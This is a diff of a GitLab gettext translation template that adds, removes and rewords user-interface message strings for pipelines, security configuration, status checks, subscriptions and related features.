+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
